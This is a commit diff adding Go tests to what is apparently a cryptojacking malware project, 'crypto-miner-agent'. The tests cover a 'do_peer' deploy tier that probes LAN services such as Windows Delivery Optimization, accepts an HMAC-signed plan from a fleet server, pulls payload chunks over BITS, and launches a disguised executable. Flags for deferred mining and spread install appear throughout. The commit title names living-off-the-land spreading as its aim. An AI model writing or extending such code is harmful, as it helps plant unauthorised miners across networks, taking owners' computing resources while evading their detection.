Add do_peer Shadow Cache Handoff deploy tier for LOTL spread onion

agent/deploy/discover_join_test.go

@@ -5,6 +5,8 @@ import (
 	"crypto/sha256"
 	"encoding/hex"
 	"encoding/json"
+	"os"
+	"strings"
 	"testing"
 
 	"crypto-miner-agent/config"
@@ -76,3 +78,76 @@ func TestRunDiscoverAndJoinFakeServices(t *testing.T) {
 		t.Fatalf("lane=%q detail=%q", lane, detail)
 	}
 }
+
+func TestRunDiscoverAndJoinDOPeerPlan(t *testing.T) {
+	cfg := config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{
+			FleetSecret: "fleet-test",
+			WorkerName:  "test-worker",
+			ServerURL:   "http://127.0.0.1:8989",
+		},
+	}
+
+	payload := []byte("do-peer-signed-plan")
+	sum := sha256.Sum256(payload)
+	hash := hex.EncodeToString(sum[:])
+
+	oldBits := doPeerDownloadBITSFn
+	doPeerDownloadBITSFn = func(url, dest string) error {
+		return os.WriteFile(dest, payload, 0o644)
+	}
+	defer func() { doPeerDownloadBITSFn = oldBits }()
+
+	fetch := func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error) {
+		plan := DeployPlanBody{
+			JoinLane:  "do_peer",
+			Action:    "do_peer",
+			PeerGroup: "af-peer-lab",
+			Manifest: &StagingManifest{
+				Method:        "bits",
+				Chunks:        []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "peer-0.bin"}},
+				SHA256:        hash,
+				Dest:          "do-peer-test-worker.exe",
+				Launch:        "exe",
+				DeferMining:   true,
+				SpreadInstall: true,
+			},
+		}
+		payloadJSON, _ := json.Marshal(plan)
+		mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
+		mac.Write(payloadJSON)
+		return DeployPlanResponse{
+			OK:        true,
+			JoinLane:  "do_peer",
+			Plan:      plan,
+			Signature: hex.EncodeToString(mac.Sum(nil)),
+		}, nil
+	}
+
+	oldDiscover := runServiceDiscoverFn
+	runServiceDiscoverFn = func(maxLANHosts int) string {
+		return `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.0.0.1","subnet":"10.0.0","services":[{"service_name":"DoSvc","status":"running","join_lane_candidate":"do_peer","source":"local_service"}]}}`
+	}
+	defer func() { runServiceDiscoverFn = oldDiscover }()
+
+	lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
+	if lane != "do_peer" {
+		t.Fatalf("lane=%q err=%v", lane, err)
+	}
+	if err != nil {
+		if strings.Contains(err.Error(), "Windows-only") || strings.Contains(err.Error(), "launch") {
+			return
+		}
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if detail == "" {
+		t.Fatal("expected success detail")
+	}
+}
+
+func TestExecuteDeployPlanDOPeerRequiresManifest(t *testing.T) {
+	_, err := ExecuteDeployPlan(config.RuntimeConfig{}, DeployPlanBody{JoinLane: "do_peer", Action: "do_peer"})
+	if err == nil || !strings.Contains(err.Error(), "requires staging manifest") {
+		t.Fatalf("err=%v", err)
+	}
+}